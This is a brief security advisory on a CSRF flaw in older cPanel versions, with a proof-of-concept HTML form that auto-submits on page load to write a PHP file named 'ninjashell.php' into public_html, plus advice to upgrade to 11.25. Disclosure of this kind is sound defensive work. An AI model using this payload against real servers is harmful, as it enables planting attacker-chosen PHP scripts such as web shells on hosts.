Security Alert : cPanel 11.25 CSRF vulnerability to upload any php Script !


cPanel versions below and excluding 11.25 , are vulnerable to CSRF which leads to uploading a PHP script of the attackers liking. If you have turned off security tokens and referrer security check, no matter what version you are using, you are vulnerable as well.

Proof Of Concept :


<html>
<form name="editform" action="
http://localhost:2082/frontend/x3/err/savefile.html" method=POST
onSubmit="return loadfdata();">
<input type="hidden" id="codepage" class="codepress html" name="page"
value="<?php echo 'ninjashell'; ?>">
<input type="hidden" name="domain" value="localhost">
<input type="hidden" value="public_html/" name="dir">
<input type="hidden" value="ninjashell.php" name="file">
<body onload="document.forms.editform.submit();">
</form>
</html>


Afterwards simply check for ninjashell.php in the directory.

Counter-measures
All cPanel versions starting from 11.25 and above have two in-built security features to prevent such attacks - security tokens and referrer security check. This means that if you are a cpanel client, you should update your
software.
